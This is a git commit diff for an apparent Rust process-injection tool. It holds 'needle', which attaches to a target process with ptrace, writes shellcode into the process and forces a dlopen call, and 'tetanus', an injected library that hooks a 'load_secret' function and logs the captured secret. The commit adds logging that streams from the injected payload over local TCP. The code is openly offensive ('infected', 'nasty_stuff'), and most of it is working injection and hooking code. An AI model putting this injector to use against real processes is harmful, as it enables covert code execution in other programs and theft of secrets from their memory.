feat: sorted modules, added tracing + basic remote
initial implementation of remote tracing via tcp as seen in fasterthanlime, needs way more work to be reliable
This commit is contained in:
parent
fab29c5423
commit
ecae892afb
12 changed files with 246 additions and 127 deletions
|
@ -6,7 +6,7 @@ edition = "2021"
|
||||||
[lib]
|
[lib]
|
||||||
name = "tetanus"
|
name = "tetanus"
|
||||||
crate-type = ["cdylib"]
|
crate-type = ["cdylib"]
|
||||||
path = "src/lib.rs"
|
path = "src/tetanus/lib.rs"
|
||||||
|
|
||||||
[[bin]]
|
[[bin]]
|
||||||
name = "needle"
|
name = "needle"
|
||||||
|
@ -22,3 +22,5 @@ elf = "0.7.2"
|
||||||
nix = "0.26.2"
|
nix = "0.26.2"
|
||||||
proc-maps = "0.3.0"
|
proc-maps = "0.3.0"
|
||||||
libloading = "0.7.4"
|
libloading = "0.7.4"
|
||||||
|
tracing = "0.1.37"
|
||||||
|
tracing-subscriber = "0.3.16"
|
||||||
|
|
111
src/lib.rs
111
src/lib.rs
|
@ -1,111 +0,0 @@
|
||||||
use std::{error::Error, ffi::c_int, path::{Path, PathBuf}};
|
|
||||||
|
|
||||||
use elf::{ElfBytes, endian::AnyEndian, ParseError};
|
|
||||||
use libloading::os::unix::{Library, Symbol};
|
|
||||||
use proc_maps::get_process_maps;
|
|
||||||
use retour::{static_detour, Function};
|
|
||||||
|
|
||||||
static_detour! {
|
|
||||||
static HOOK : unsafe extern "C" fn() -> c_int;
|
|
||||||
}
|
|
||||||
|
|
||||||
#[ctor::ctor] // our entrypoint is the library constructor, invoked by dlopen
|
|
||||||
fn constructor() {
|
|
||||||
std::thread::spawn(|| {
|
|
||||||
eprint!(" -[infected]- ");
|
|
||||||
|
|
||||||
if let Err(e) = add_hooks() {
|
|
||||||
eprintln!("[!] Could not add hooks : {}", e);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
fn add_hooks() -> Result<(), Box<dyn Error>> {
|
|
||||||
let ptr = find_symbol("load_secret")?;
|
|
||||||
|
|
||||||
unsafe {
|
|
||||||
HOOK.initialize(ptr, || {
|
|
||||||
let secret = HOOK.call();
|
|
||||||
eprint!(" ( ͡° ͜ʖ ͡°) its {} ", secret);
|
|
||||||
secret
|
|
||||||
})?;
|
|
||||||
HOOK.enable()?;
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
fn find_symbol<T : Function>(name: &str) -> Result<T, Box<dyn Error>> {
|
|
||||||
// try to find it among exported symbols
|
|
||||||
let this = Library::this(); // TODO don't reopen it every time
|
|
||||||
let sym : Result<Symbol<T>, libloading::Error> = unsafe { this.get(name.as_bytes()) };
|
|
||||||
if let Ok(s) = sym {
|
|
||||||
return Ok(*s);
|
|
||||||
}
|
|
||||||
|
|
||||||
// try to read it from executable's elf
|
|
||||||
if let Some(exec) = find_argv0() {
|
|
||||||
let (base, path) = map_addr_path(&exec)?;
|
|
||||||
let offset = offset_in_elf(&path, &name)?;
|
|
||||||
let addr : *const () = (base + offset) as *const ();
|
|
||||||
return Ok(unsafe { Function::from_ptr(addr) } );
|
|
||||||
}
|
|
||||||
|
|
||||||
Err(Box::new(not_found("could not find symbol in executable ELF, possibly stripped?")))
|
|
||||||
}
|
|
||||||
|
|
||||||
fn offset_in_elf(path: &Path, symbol: &str) -> Result<usize, ParseError> {
|
|
||||||
let exec_data = std::fs::read(path)?;
|
|
||||||
let headers = ElfBytes::<AnyEndian>::minimal_parse(&exec_data)?;
|
|
||||||
let common = headers.find_common_data()?;
|
|
||||||
|
|
||||||
// first try with hash table
|
|
||||||
if let Some(hash_table) = common.sysv_hash {
|
|
||||||
if let Some(dynsyms) = common.dynsyms {
|
|
||||||
if let Some(strtab) = common.dynsyms_strs {
|
|
||||||
if let Some((_id, sym)) = hash_table.find(symbol.as_bytes(), &dynsyms, &strtab)? {
|
|
||||||
return Ok(sym.st_value as usize);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// fall back to iterating symbols table
|
|
||||||
if let Some(symtab) = common.symtab {
|
|
||||||
if let Some(strs) = common.symtab_strs {
|
|
||||||
for sym in symtab {
|
|
||||||
let name = strs.get(sym.st_name as usize)?;
|
|
||||||
if name == symbol {
|
|
||||||
return Ok(sym.st_value as usize);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Err(not_found("idk where to search :(").into())
|
|
||||||
}
|
|
||||||
|
|
||||||
fn map_addr_path(name: &str) -> std::io::Result<(usize, PathBuf)> {
|
|
||||||
let proc_maps = get_process_maps(std::process::id() as i32)?;
|
|
||||||
|
|
||||||
for map in proc_maps {
|
|
||||||
// println!("map > 0x{:08X} {} [{:x}] - {} [{}]", map.start(), map.flags, map.offset, map.inode, _path_to_str(map.filename()));
|
|
||||||
if map.is_exec() {
|
|
||||||
if let Some(path) = map.filename() {
|
|
||||||
if path.ends_with(name) {
|
|
||||||
return Ok((map.start() - map.offset, map.filename().unwrap().to_path_buf()));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Err(not_found("no process is mapped from a path ending with given name"))
|
|
||||||
}
|
|
||||||
|
|
||||||
fn find_argv0() -> Option<String> { // could be a relative path, just get last member
|
|
||||||
Some(std::env::args().next()?.split("/").last()?.into()) // TODO separator for windows?
|
|
||||||
}
|
|
||||||
|
|
||||||
fn not_found(txt: &str) -> std::io::Error {
|
|
||||||
std::io::Error::new(std::io::ErrorKind::NotFound, txt)
|
|
||||||
}
|
|
|
@ -1,6 +1,7 @@
|
||||||
use nix::{unistd::Pid, Result, libc::{PROT_READ, MAP_PRIVATE, MAP_ANON, PROT_EXEC}, sys::{ptrace, wait::waitpid}};
|
use nix::{unistd::Pid, Result, libc::{PROT_READ, MAP_PRIVATE, MAP_ANON, PROT_EXEC}, sys::{ptrace, wait::waitpid}};
|
||||||
|
use tracing::{debug, info};
|
||||||
|
|
||||||
use crate::{syscalls::{RemoteMMap, RemoteMUnmap}, senders::{write_buffer, read_buffer, ByteVec}, injector::RemoteOperation};
|
use crate::{syscalls::{RemoteMMap, RemoteMUnmap}, senders::write_buffer, injector::RemoteOperation};
|
||||||
|
|
||||||
pub struct RemoteShellcode<'a> {
|
pub struct RemoteShellcode<'a> {
|
||||||
code: &'a [u8],
|
code: &'a [u8],
|
||||||
|
@ -19,20 +20,18 @@ impl RemoteOperation for RemoteShellcode<'_> {
|
||||||
let ptr = RemoteMMap::args(
|
let ptr = RemoteMMap::args(
|
||||||
0, self.code.len() + 1, PROT_READ | PROT_EXEC, MAP_PRIVATE | MAP_ANON, -1, 0
|
0, self.code.len() + 1, PROT_READ | PROT_EXEC, MAP_PRIVATE | MAP_ANON, -1, 0
|
||||||
).inject(pid, syscall)?;
|
).inject(pid, syscall)?;
|
||||||
println!("Obtained area @ 0x{:X}", ptr);
|
debug!("obtained area @ 0x{:X}", ptr);
|
||||||
self.ptr = Some(ptr);
|
self.ptr = Some(ptr);
|
||||||
let mut shellcode = self.code.to_vec();
|
let mut shellcode = self.code.to_vec();
|
||||||
shellcode.push(0xCC); // is this the debugger trap?
|
shellcode.push(0xCC); // is this the debugger trap?
|
||||||
write_buffer(pid, ptr as usize, shellcode.as_slice())?;
|
write_buffer(pid, ptr as usize, shellcode.as_slice())?;
|
||||||
let shellcode = read_buffer(pid, ptr as usize, self.code.len() + 1)?;
|
|
||||||
println!("Copied shellcode {}", ByteVec::from(shellcode));
|
|
||||||
let mut regs = original_regs.clone();
|
let mut regs = original_regs.clone();
|
||||||
regs.rip = ptr;
|
regs.rip = ptr;
|
||||||
ptrace::setregs(pid, regs)?;
|
ptrace::setregs(pid, regs)?;
|
||||||
ptrace::cont(pid, None)?;
|
ptrace::cont(pid, None)?;
|
||||||
waitpid(pid, None)?;
|
waitpid(pid, None)?;
|
||||||
let after_regs = ptrace::getregs(pid)?;
|
let after_regs = ptrace::getregs(pid)?;
|
||||||
println!("Executed shellcode (RIP: 0x{:X})", after_regs.rip);
|
info!("executed shellcode (RIP: 0x{:X})", after_regs.rip);
|
||||||
Ok(ptr)
|
Ok(ptr)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -14,7 +14,6 @@ pub fn step_to_syscall(pid: Pid) -> nix::Result<usize> {
|
||||||
registers = ptrace::getregs(pid)?;
|
registers = ptrace::getregs(pid)?;
|
||||||
addr = registers.rip as usize;
|
addr = registers.rip as usize;
|
||||||
instructions = ptrace::read(pid, addr as *mut c_void)?;
|
instructions = ptrace::read(pid, addr as *mut c_void)?;
|
||||||
// println!("@ 0x{:X} [{:x}]", insn_addr, curr_instr);
|
|
||||||
|
|
||||||
if instructions & 0xFFFF == 0x050F {
|
if instructions & 0xFFFF == 0x050F {
|
||||||
return Ok(addr);
|
return Ok(addr);
|
||||||
|
@ -41,7 +40,6 @@ pub fn find_libc(pid: Pid) -> std::io::Result<(usize, PathBuf)> {
|
||||||
let proc_maps = get_process_maps(pid.as_raw())?;
|
let proc_maps = get_process_maps(pid.as_raw())?;
|
||||||
|
|
||||||
for map in proc_maps {
|
for map in proc_maps {
|
||||||
// println!("map > 0x{:08X} {} [{:x}] - {} [{}]", map.start(), map.flags, map.offset, map.inode, _path_to_str(map.filename()));
|
|
||||||
if map.is_exec() && _path_to_str(map.filename()).contains("libc.so") {
|
if map.is_exec() && _path_to_str(map.filename()).contains("libc.so") {
|
||||||
return Ok((
|
return Ok((
|
||||||
map.start() - map.offset,
|
map.start() - map.offset,
|
||||||
|
|
|
@ -3,16 +3,19 @@ mod executors;
|
||||||
mod senders;
|
mod senders;
|
||||||
mod injector;
|
mod injector;
|
||||||
mod explorers;
|
mod explorers;
|
||||||
|
mod monitor;
|
||||||
|
|
||||||
use std::path::PathBuf;
|
use std::path::PathBuf;
|
||||||
|
|
||||||
use injector::RemoteOperation;
|
use injector::RemoteOperation;
|
||||||
|
use monitor::monitor_payload;
|
||||||
use nix::{Result, {sys::{ptrace, wait::waitpid}, unistd::Pid}};
|
use nix::{Result, {sys::{ptrace, wait::waitpid}, unistd::Pid}};
|
||||||
use clap::Parser;
|
use clap::Parser;
|
||||||
|
|
||||||
use executors::RemoteShellcode;
|
use executors::RemoteShellcode;
|
||||||
use senders::RemoteString;
|
use senders::RemoteString;
|
||||||
use explorers::step_to_syscall;
|
use explorers::step_to_syscall;
|
||||||
|
use tracing::{metadata::LevelFilter, info, error};
|
||||||
|
|
||||||
use crate::{explorers::{find_libc, find_dlopen}, syscalls::RemoteExit};
|
use crate::{explorers::{find_libc, find_dlopen}, syscalls::RemoteExit};
|
||||||
|
|
||||||
|
@ -45,6 +48,10 @@ struct NeedleArgs {
|
||||||
/// instead of injecting a library, execute an exit syscall with code 69
|
/// instead of injecting a library, execute an exit syscall with code 69
|
||||||
#[arg(long, default_value_t = false)]
|
#[arg(long, default_value_t = false)]
|
||||||
kill: bool,
|
kill: bool,
|
||||||
|
|
||||||
|
/// after injecting, keep alive listening for logs
|
||||||
|
#[arg(long, default_value_t = false)]
|
||||||
|
monitor: bool,
|
||||||
}
|
}
|
||||||
|
|
||||||
fn nasty_stuff(args: NeedleArgs) -> Result<()> {
|
fn nasty_stuff(args: NeedleArgs) -> Result<()> {
|
||||||
|
@ -52,7 +59,7 @@ fn nasty_stuff(args: NeedleArgs) -> Result<()> {
|
||||||
|
|
||||||
ptrace::attach(pid)?;
|
ptrace::attach(pid)?;
|
||||||
waitpid(pid, None)?;
|
waitpid(pid, None)?;
|
||||||
println!("Attached to process #{}", args.pid);
|
info!("attached to process #{}", args.pid);
|
||||||
|
|
||||||
// continue running process step-by-step until we find a syscall
|
// continue running process step-by-step until we find a syscall
|
||||||
let syscall = step_to_syscall(pid)?; // TODO no real need to step...
|
let syscall = step_to_syscall(pid)?; // TODO no real need to step...
|
||||||
|
@ -60,12 +67,12 @@ fn nasty_stuff(args: NeedleArgs) -> Result<()> {
|
||||||
|
|
||||||
if args.kill {
|
if args.kill {
|
||||||
RemoteExit::args(69).exit(pid, syscall)?;
|
RemoteExit::args(69).exit(pid, syscall)?;
|
||||||
println!("Killed process #{}", args.pid);
|
info!("killed process #{}", args.pid);
|
||||||
return Ok(());
|
return Ok(());
|
||||||
}
|
}
|
||||||
|
|
||||||
// move path to our payload into target address space
|
// move path to our payload into target address space
|
||||||
let tetanus = RemoteString::new(args.payload + "\0")
|
let tetanus = RemoteString::new(args.payload.clone() + "\0")
|
||||||
.inject(pid, syscall)?;
|
.inject(pid, syscall)?;
|
||||||
|
|
||||||
// find dlopen address
|
// find dlopen address
|
||||||
|
@ -97,7 +104,6 @@ fn nasty_stuff(args: NeedleArgs) -> Result<()> {
|
||||||
dlopen_addr = base + offset;
|
dlopen_addr = base + offset;
|
||||||
}
|
}
|
||||||
|
|
||||||
println!("Attempting to invoke dlopen() @ 0x{:X}", dlopen_addr);
|
|
||||||
|
|
||||||
let shellcode = [ // doesn't really spawn a shell soooooo not really shellcode?
|
let shellcode = [ // doesn't really spawn a shell soooooo not really shellcode?
|
||||||
0x55, // pusb rbp
|
0x55, // pusb rbp
|
||||||
|
@ -120,21 +126,33 @@ fn nasty_stuff(args: NeedleArgs) -> Result<()> {
|
||||||
ptrace::setregs(pid, regs)?;
|
ptrace::setregs(pid, regs)?;
|
||||||
ptrace::cont(pid, None)?;
|
ptrace::cont(pid, None)?;
|
||||||
waitpid(pid, None)?;
|
waitpid(pid, None)?;
|
||||||
println!("Injected dlopen() call");
|
info!("invoked dlopen('{}', 1) @ 0x{:X}", args.payload, dlopen_addr);
|
||||||
|
|
||||||
// restore original registers and detach
|
// restore original registers and detach
|
||||||
// TODO clean allocated areas
|
// TODO clean allocated areas
|
||||||
ptrace::setregs(pid, original_regs)?;
|
ptrace::setregs(pid, original_regs)?;
|
||||||
ptrace::detach(pid, None)?;
|
ptrace::detach(pid, None)?;
|
||||||
println!("Released process #{}", args.pid);
|
info!("released process #{}", args.pid);
|
||||||
|
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
fn main() {
|
fn main() {
|
||||||
|
tracing_subscriber::fmt()
|
||||||
|
.with_max_level(LevelFilter::INFO)
|
||||||
|
.init();
|
||||||
|
|
||||||
let args = NeedleArgs::parse();
|
let args = NeedleArgs::parse();
|
||||||
|
|
||||||
|
let monitor = args.monitor;
|
||||||
|
|
||||||
if let Err(e) = nasty_stuff(args) {
|
if let Err(e) = nasty_stuff(args) {
|
||||||
eprintln!("Error while injecting : {} ({})", e, e.desc());
|
error!("error injecting shared object: {} ({})", e, e.desc());
|
||||||
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if monitor {
|
||||||
|
monitor_payload();
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
16
src/needle/monitor.rs
Normal file
16
src/needle/monitor.rs
Normal file
|
@ -0,0 +1,16 @@
|
||||||
|
use std::net::TcpListener;
|
||||||
|
|
||||||
|
use tracing::info;
|
||||||
|
|
||||||
|
pub fn monitor_payload() {
|
||||||
|
info!("listening for logs from injected payload ...");
|
||||||
|
if let Ok(listener) = TcpListener::bind("127.0.0.1:13337") {
|
||||||
|
if let Ok((mut stream, addr)) = listener.accept() {
|
||||||
|
info!("incoming data ({})", addr);
|
||||||
|
while let Ok(n) = std::io::copy(&mut stream, &mut std::io::stdout()) {
|
||||||
|
if n <= 0 { break; }
|
||||||
|
}
|
||||||
|
info!("connection closed ({})", addr);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -1,6 +1,7 @@
|
||||||
use std::{ffi::c_void, fmt::Display, mem::size_of};
|
use std::{ffi::c_void, fmt::Display, mem::size_of};
|
||||||
|
|
||||||
use nix::{Result, unistd::Pid, sys::ptrace, libc::{PROT_READ, PROT_WRITE, MAP_PRIVATE, MAP_ANON}};
|
use nix::{Result, unistd::Pid, sys::ptrace, libc::{PROT_READ, PROT_WRITE, MAP_PRIVATE, MAP_ANON}};
|
||||||
|
use tracing::{debug, info};
|
||||||
|
|
||||||
use crate::{injector::RemoteOperation, syscalls::{RemoteMMap, RemoteMUnmap}};
|
use crate::{injector::RemoteOperation, syscalls::{RemoteMMap, RemoteMUnmap}};
|
||||||
|
|
||||||
|
@ -31,7 +32,7 @@ pub fn read_buffer(pid: Pid, addr: usize, size: usize) -> Result<Vec<u8>> {
|
||||||
|
|
||||||
for i in (0..size).step_by(WORD_SIZE) {
|
for i in (0..size).step_by(WORD_SIZE) {
|
||||||
let data = ptrace::read(pid, (addr + i) as *mut c_void)?;
|
let data = ptrace::read(pid, (addr + i) as *mut c_void)?;
|
||||||
println!("read {} bytes from target : 0x{:x}", WORD_SIZE, data);
|
debug!("read {} bytes: 0x{:x}", WORD_SIZE, data);
|
||||||
for j in 0..WORD_SIZE {
|
for j in 0..WORD_SIZE {
|
||||||
out.push(((data >> (j * 8)) & 0xFF) as u8);
|
out.push(((data >> (j * 8)) & 0xFF) as u8);
|
||||||
}
|
}
|
||||||
|
@ -49,6 +50,7 @@ pub fn write_buffer(pid: Pid, addr: usize, payload: &[u8]) -> Result<()> {
|
||||||
buf |= (*c as u64) << (i * 8);
|
buf |= (*c as u64) << (i * 8);
|
||||||
}
|
}
|
||||||
unsafe { ptrace::write(pid, at as *mut c_void, buf as *mut c_void)?; }
|
unsafe { ptrace::write(pid, at as *mut c_void, buf as *mut c_void)?; }
|
||||||
|
debug!("wrote {} bytes: 0x{:x}", WORD_SIZE, buf);
|
||||||
at += WORD_SIZE;
|
at += WORD_SIZE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -73,6 +75,7 @@ impl RemoteOperation for RemoteString {
|
||||||
).inject(pid, syscall)?;
|
).inject(pid, syscall)?;
|
||||||
write_buffer(pid, ptr as usize, self.txt.as_bytes())?;
|
write_buffer(pid, ptr as usize, self.txt.as_bytes())?;
|
||||||
self.ptr = Some(ptr as usize);
|
self.ptr = Some(ptr as usize);
|
||||||
|
info!("sent '{}'", self.txt);
|
||||||
Ok(ptr)
|
Ok(ptr)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,5 @@
|
||||||
use nix::{libc::user_regs_struct, Result, sys::{ptrace, wait::waitpid}, unistd::Pid};
|
use nix::{libc::user_regs_struct, Result, sys::{ptrace, wait::waitpid}, unistd::Pid};
|
||||||
|
use tracing::debug;
|
||||||
|
|
||||||
use crate::{injector::RemoteOperation, senders::RemoteString};
|
use crate::{injector::RemoteOperation, senders::RemoteString};
|
||||||
|
|
||||||
|
@ -21,10 +22,12 @@ impl<T> RemoteOperation for T where T: RemoteSyscall {
|
||||||
let mut regs = ptrace::getregs(pid)?;
|
let mut regs = ptrace::getregs(pid)?;
|
||||||
regs.rip = syscall as u64;
|
regs.rip = syscall as u64;
|
||||||
self.registers(&mut regs);
|
self.registers(&mut regs);
|
||||||
|
let syscall_nr = regs.rax;
|
||||||
ptrace::setregs(pid, regs)?;
|
ptrace::setregs(pid, regs)?;
|
||||||
ptrace::step(pid, None)?;
|
ptrace::step(pid, None)?;
|
||||||
waitpid(pid, None)?;
|
waitpid(pid, None)?;
|
||||||
regs = ptrace::getregs(pid)?;
|
regs = ptrace::getregs(pid)?;
|
||||||
|
debug!(target: "remote-syscall", "executed syscall #{} -> {}", syscall_nr, regs.rax);
|
||||||
Ok(regs.rax)
|
Ok(regs.rax)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
34
src/tetanus/hooks.rs
Normal file
34
src/tetanus/hooks.rs
Normal file
|
@ -0,0 +1,34 @@
|
||||||
|
use std::ffi::c_int;
|
||||||
|
|
||||||
|
use retour::static_detour;
|
||||||
|
use tracing::info;
|
||||||
|
|
||||||
|
use crate::locators::find_symbol;
|
||||||
|
|
||||||
|
static_detour! {
|
||||||
|
static HOOK : unsafe extern "C" fn() -> c_int;
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn add_hooks() -> Result<(), Box<dyn std::error::Error>> {
|
||||||
|
if let Some(ptr) = find_symbol("load_secret")? {
|
||||||
|
unsafe {
|
||||||
|
HOOK.initialize(ptr, cb::hook)?;
|
||||||
|
HOOK.enable()?;
|
||||||
|
}
|
||||||
|
info!("installed hook on 'load_secret'");
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
mod cb {
|
||||||
|
use tracing::info;
|
||||||
|
|
||||||
|
use super::HOOK;
|
||||||
|
|
||||||
|
pub fn hook() -> i32 {
|
||||||
|
let secret = unsafe { HOOK.call() };
|
||||||
|
info!("( ͡° ͜ʖ ͡°) its {}", secret);
|
||||||
|
secret
|
||||||
|
}
|
||||||
|
}
|
32
src/tetanus/lib.rs
Normal file
32
src/tetanus/lib.rs
Normal file
|
@ -0,0 +1,32 @@
|
||||||
|
pub mod locators;
|
||||||
|
pub mod hooks;
|
||||||
|
pub mod tricks;
|
||||||
|
|
||||||
|
use std::{net::TcpStream, sync::Mutex};
|
||||||
|
|
||||||
|
use tracing::{info, error};
|
||||||
|
|
||||||
|
use crate::hooks::add_hooks;
|
||||||
|
|
||||||
|
|
||||||
|
#[ctor::ctor] // our entrypoint is the library constructor, invoked by dlopen
|
||||||
|
fn constructor() {
|
||||||
|
std::thread::spawn(|| {
|
||||||
|
match TcpStream::connect("127.0.0.1:13337") {
|
||||||
|
Ok(stream) => tracing_subscriber::fmt()
|
||||||
|
.with_writer(Mutex::new(stream))
|
||||||
|
.init(),
|
||||||
|
Err(_) => {},
|
||||||
|
}
|
||||||
|
|
||||||
|
info!(target: "tetanus", "infected target");
|
||||||
|
|
||||||
|
if let Err(e) = add_hooks() {
|
||||||
|
error!(target: "tetanus", "could not add hooks : {}", e);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
#[ctor::dtor]
|
||||||
|
fn destructor() {}
|
||||||
|
|
110
src/tetanus/locators.rs
Normal file
110
src/tetanus/locators.rs
Normal file
|
@ -0,0 +1,110 @@
|
||||||
|
use std::error::Error;
|
||||||
|
|
||||||
|
use libloading::os::unix::{Library, Symbol};
|
||||||
|
use retour::Function;
|
||||||
|
|
||||||
|
use tracing::warn;
|
||||||
|
|
||||||
|
use crate::tricks::find_argv0;
|
||||||
|
|
||||||
|
|
||||||
|
pub fn find_symbol<T : Function>(name: &str) -> Result<Option<T>, Box<dyn Error>> {
|
||||||
|
// try to find it among exported symbols
|
||||||
|
let this = Library::this(); // TODO don't reopen it every time
|
||||||
|
let sym : Result<Symbol<T>, libloading::Error> = unsafe { this.get(name.as_bytes()) };
|
||||||
|
if let Ok(s) = sym {
|
||||||
|
return Ok(Some(*s));
|
||||||
|
}
|
||||||
|
|
||||||
|
// try to read it from executable's elf
|
||||||
|
match find_argv0() {
|
||||||
|
None => warn!("could not find argv0 for process"),
|
||||||
|
Some(exec) => match procmaps::map_addr_path(&exec)? {
|
||||||
|
None => warn!("could not find base addr of process image"),
|
||||||
|
Some((base, path)) => match exec::offset_in_elf(&path, &name)? {
|
||||||
|
None => warn!("could not locate requested symbol in ELF"),
|
||||||
|
Some(offset) => {
|
||||||
|
let addr : *const () = (base + offset) as *const ();
|
||||||
|
return Ok(Some(unsafe { Function::from_ptr(addr) } ));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(None)
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
pub mod exec {
|
||||||
|
use std::path::Path;
|
||||||
|
|
||||||
|
use elf::{ParseError, ElfBytes, endian::AnyEndian};
|
||||||
|
use tracing::{warn, debug};
|
||||||
|
|
||||||
|
pub fn offset_in_elf(path: &Path, symbol: &str) -> Result<Option<usize>, ParseError> {
|
||||||
|
let exec_data = std::fs::read(path)?;
|
||||||
|
let headers = ElfBytes::<AnyEndian>::minimal_parse(&exec_data)?;
|
||||||
|
let common = headers.find_common_data()?;
|
||||||
|
|
||||||
|
// first try with hash table
|
||||||
|
match common.sysv_hash {
|
||||||
|
None => warn!("missing symbols hash table in ELF"),
|
||||||
|
Some(sysv_hash) => match common.dynsyms {
|
||||||
|
None => warn!("missing dynamic symbols in ELF"),
|
||||||
|
Some(dynsyms) => match common.dynsyms_strs {
|
||||||
|
None => warn!("missing string tab for dynamic symbols in ELF"),
|
||||||
|
Some(dynsyms_strs) => match sysv_hash.find(symbol.as_bytes(), &dynsyms, &dynsyms_strs)? {
|
||||||
|
None => debug!("could not find symbol {} in ELF hashmap", symbol),
|
||||||
|
Some((_id, sym)) => return Ok(Some(sym.st_value as usize)),
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
// fall back to iterating symbols table
|
||||||
|
match common.symtab {
|
||||||
|
None => warn!("missing symbols table in ELF"),
|
||||||
|
Some(symtab) => match common.symtab_strs {
|
||||||
|
None => warn!("missing names for symbols in ELF"),
|
||||||
|
Some(symtab_strs) => {
|
||||||
|
for sym in symtab {
|
||||||
|
let name = symtab_strs.get(sym.st_name as usize)?;
|
||||||
|
if name == symbol {
|
||||||
|
return Ok(Some(sym.st_value as usize));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
debug!("no symbol matched '{}'", symbol);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(None)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub mod procmaps {
|
||||||
|
use std::path::PathBuf;
|
||||||
|
|
||||||
|
use proc_maps::get_process_maps;
|
||||||
|
use tracing::{debug, warn};
|
||||||
|
|
||||||
|
use crate::tricks::fmt_path;
|
||||||
|
|
||||||
|
pub fn map_addr_path(name: &str) -> std::io::Result<Option<(usize, PathBuf)>> {
|
||||||
|
let proc_maps = get_process_maps(std::process::id() as i32)?;
|
||||||
|
|
||||||
|
for map in proc_maps {
|
||||||
|
debug!("map > 0x{:08X} {} [{:x}] - {} [{}]", map.start(), map.flags, map.offset, map.inode, fmt_path(map.filename()));
|
||||||
|
if map.is_exec() {
|
||||||
|
if let Some(path) = map.filename() {
|
||||||
|
if path.ends_with(name) {
|
||||||
|
return Ok(Some((map.start() - map.offset, map.filename().unwrap().to_path_buf())));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
warn!("could not find address of '{}'", name);
|
||||||
|
|
||||||
|
Ok(None)
|
||||||
|
}
|
||||||
|
}
|
15
src/tetanus/tricks.rs
Normal file
15
src/tetanus/tricks.rs
Normal file
|
@ -0,0 +1,15 @@
|
||||||
|
pub fn find_argv0() -> Option<String> { // could be a relative path, just get last member
|
||||||
|
Some(std::env::args().next()?.split("/").last()?.into()) // TODO separator for windows?
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn fmt_path(p: Option<&std::path::Path>) -> String {
|
||||||
|
match p {
|
||||||
|
Some(path) => {
|
||||||
|
match path.to_str() {
|
||||||
|
Some(s) => s.into(),
|
||||||
|
None => "?".into(),
|
||||||
|
}
|
||||||
|
},
|
||||||
|
None => "".into(),
|
||||||
|
}
|
||||||
|
}
|
Loading…
Reference in a new issue